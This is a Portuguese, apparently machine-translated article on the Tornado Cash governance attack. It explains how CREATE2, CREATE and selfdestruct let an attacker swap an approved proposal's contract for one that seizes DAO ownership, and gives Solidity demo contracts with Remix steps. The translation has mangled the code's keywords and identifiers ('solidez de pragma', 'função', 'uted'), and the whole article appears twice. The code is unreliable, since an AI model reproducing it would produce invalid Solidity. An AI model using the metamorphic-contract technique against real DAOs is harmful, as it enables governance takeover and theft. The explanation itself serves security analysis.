Cerca de duas semanas atrás (20 de maio), o conhecido protocolo de mistura de moedas Tornado Cash sofreu um ataque de governança e os hackers ganharam o controle (proprietário) do contrato de governança da Tornado Cash.
O processo de ataque é o seguinte: o invasor primeiro envia uma proposta de "aparência normal" e, após a aprovação da proposta, destrói o endereço do contrato a ser executado pela proposta e recria um contrato de ataque no endereço.
Para o processo de ataque, você pode visualizar a análise do princípio de ataque da proposta Tornado.Cash da SharkTeam [1] 。
A chave para o ataque aqui é implantar diferentes contratos no mesmo endereço. Como isso é feito?
conhecimento prévio
Existem dois opcodes no EVM para criar contratos: CREATE e CREATE2.
CRIAR código de operação
Ao usar new Token() para usar o opcode CREATE, a função de cálculo do endereço do contrato criado é:
O endereço do contrato criado é determinado por creator address + creator Nonce (número de contratos criados), pois o Nonce sempre aumenta gradativamente, quando o Nonce aumenta, o endereço do contrato criado é sempre diferente.
CREATE2 opcode
Ao adicionar um salt new Token{salt: bytes32()}(), o opcode CREATE2 é usado e a função de cálculo do endereço do contrato criado é:
O endereço do contrato criado é endereço do criador + sal personalizado + bytecode do contrato inteligente a ser implantado, portanto, apenas o mesmo bytecode e o mesmo valor de sal podem ser usados Pode ser implantado para o mesmo endereço de contrato.
Então, como diferentes contratos podem ser implantados no mesmo endereço?
Método de ataque
O invasor usa Create2 e Create juntos para criar o contrato, conforme mostrado na figura:
Código referenciado de:
Primeiro, use Create2 para implantar um Deployer de contrato e, em seguida, use Create no Deployer para criar a proposta de contrato de destino (para uso de proposta). Ambos os contratos de Implantador e Proposta possuem implementações de autodestruição (selfdestruct).
Após a aprovação da proposta, o invasor destrói os contratos do Implantador e da Proposta e, em seguida, recria o Implantador com o mesmo slat. ser obtido, mas neste momento o Deployer O estado do contrato é limpo e o nonce começa em 0, então outro ataque de contrato pode ser criado usando este nonce.
Exemplo de código de ataque
Este código é de:
// SPDX-License-Identifier: MIT
solidez de pragma ^0.8.17;
contrato DAO {
struct Proposta {
alvo do endereço;
booleano aprovado;
bool utado;
}
endereço public owner = msg.sender;
Proposta[] propostas públicas;
função aprovar(alvo do endereço) externo {
require(msg.sender == proprietário, "não autorizado");
propostas.push(Proposta({alvo: alvo, aprovado: verdadeiro, aprovado: falso}));
}
function ute(uint256 offerId) pagável externo {
Proposta de armazenamento de proposta = propostas [proposalId] ;
require(proposta.aprovada, "não aprovada");
require(!proposta.uted, "uted");
proposta.uted = verdadeiro;
(bool ok, ) = proposta.target.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
require(ok, "falha na chamada do delegado");
}
}
Proposta de contrato {
log de eventos (mensagem de string);
função uteProposta() externa {
emit Log("Código executado aprovado pelo DAO");
}
função EmergencyStop() externo {
selfdestruct(pago(endereço(0)));
}
}
ataque de contrato {
log de eventos (mensagem de string);
dirigir-se ao proprietário público;
função uteProposta() externa {
emit Log("Código executado não aprovado pelo DAO :)");
// Por exemplo - definir o proprietário do DAO como atacante
proprietário = msg.remetente;
}
}
contrato Implantador Implantador {
log de eventos (endereço addr);
função implantar () externo {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt: salt}());
emitir Log(addr);
}
}
contratante Deployer {
log de eventos (endereço addr);
function deployProposal() externo {
endereço addr = endereço(new Proposta());
emitir Log(addr);
}
function deployAttack() externo {
endereço addr = endereço(novo Ataque());
emitir Log(addr);
}
função kill() externa {
selfdestruct(pago(endereço(0)));
}
}
Você pode usar este código para percorrê-lo sozinho no Remix.
Primeiro implante o DeployerDeployer, chame DeployerDeployer.deploy() para implantar o Deployer e, em seguida, chame Deployer.deployProposal() para implantar a proposta.
Depois de obter o endereço do contrato da proposta, inicie uma proposta ao DAO.
Chame Deployer.kill e Proposal.emergencyStop, respectivamente, para destruir Deployer e Proposal
Chame DeployerDeployer.deploy() novamente para implantar o Deployer, chame Deployer.deployAttack() para implantar o Ataque e o Ataque será consistente com a Proposta anterior.
Ao executar DAO.ute, o ataque obteve a permissão do Proprietário do DAO.
Ver original
O conteúdo é apenas para referência, não uma solicitação ou oferta. Nenhum aconselhamento fiscal, de investimento ou jurídico é fornecido. Consulte a isenção de responsabilidade para obter mais informações sobre riscos.
Ataque de governança Tornado: como implantar contratos diferentes no mesmo endereço
Cerca de duas semanas atrás (20 de maio), o conhecido protocolo de mistura de moedas Tornado Cash sofreu um ataque de governança e os hackers ganharam o controle (proprietário) do contrato de governança da Tornado Cash.
O processo de ataque é o seguinte: o invasor primeiro envia uma proposta de "aparência normal" e, após a aprovação da proposta, destrói o endereço do contrato a ser executado pela proposta e recria um contrato de ataque no endereço.
Para o processo de ataque, você pode visualizar a análise do princípio de ataque da proposta Tornado.Cash da SharkTeam [1] 。
A chave para o ataque aqui é implantar diferentes contratos no mesmo endereço. Como isso é feito?
conhecimento prévio
Existem dois opcodes no EVM para criar contratos: CREATE e CREATE2.
CRIAR código de operação
Ao usar new Token() para usar o opcode CREATE, a função de cálculo do endereço do contrato criado é:
endereço tokenAddr = bytes20(keccak256(senderAddress, nonce))
O endereço do contrato criado é determinado por creator address + creator Nonce (número de contratos criados), pois o Nonce sempre aumenta gradativamente, quando o Nonce aumenta, o endereço do contrato criado é sempre diferente.
CREATE2 opcode
Ao adicionar um salt new Token{salt: bytes32()}(), o opcode CREATE2 é usado e a função de cálculo do endereço do contrato criado é:
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
O endereço do contrato criado é endereço do criador + sal personalizado + bytecode do contrato inteligente a ser implantado, portanto, apenas o mesmo bytecode e o mesmo valor de sal podem ser usados Pode ser implantado para o mesmo endereço de contrato.
Então, como diferentes contratos podem ser implantados no mesmo endereço?
Método de ataque
O invasor usa Create2 e Create juntos para criar o contrato, conforme mostrado na figura:
Primeiro, use Create2 para implantar um Deployer de contrato e, em seguida, use Create no Deployer para criar a proposta de contrato de destino (para uso de proposta). Ambos os contratos de Implantador e Proposta possuem implementações de autodestruição (selfdestruct).
Após a aprovação da proposta, o invasor destrói os contratos do Implantador e da Proposta e, em seguida, recria o Implantador com o mesmo slat. ser obtido, mas neste momento o Deployer O estado do contrato é limpo e o nonce começa em 0, então outro ataque de contrato pode ser criado usando este nonce.
Exemplo de código de ataque
Este código é de:
// SPDX-License-Identifier: MIT solidez de pragma ^0.8.17; contrato DAO { struct Proposta { alvo do endereço; booleano aprovado; bool utado; } endereço public owner = msg.sender; Proposta[] propostas públicas; função aprovar(alvo do endereço) externo { require(msg.sender == proprietário, "não autorizado"); propostas.push(Proposta({alvo: alvo, aprovado: verdadeiro, aprovado: falso})); } function ute(uint256 offerId) pagável externo { Proposta de armazenamento de proposta = propostas [proposalId] ; require(proposta.aprovada, "não aprovada"); require(!proposta.uted, "uted"); proposta.uted = verdadeiro; (bool ok, ) = proposta.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "falha na chamada do delegado"); } } Proposta de contrato { log de eventos (mensagem de string); função uteProposta() externa { emit Log("Código executado aprovado pelo DAO"); } função EmergencyStop() externo { selfdestruct(pago(endereço(0))); } } ataque de contrato { log de eventos (mensagem de string); dirigir-se ao proprietário público; função uteProposta() externa { emit Log("Código executado não aprovado pelo DAO :)"); // Por exemplo - definir o proprietário do DAO como atacante proprietário = msg.remetente; } } contrato Implantador Implantador { log de eventos (endereço addr); função implantar () externo { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emitir Log(addr); } } contratante Deployer { log de eventos (endereço addr); function deployProposal() externo { endereço addr = endereço(new Proposta()); emitir Log(addr); } function deployAttack() externo { endereço addr = endereço(novo Ataque()); emitir Log(addr); } função kill() externa { selfdestruct(pago(endereço(0))); } }
Você pode usar este código para percorrê-lo sozinho no Remix.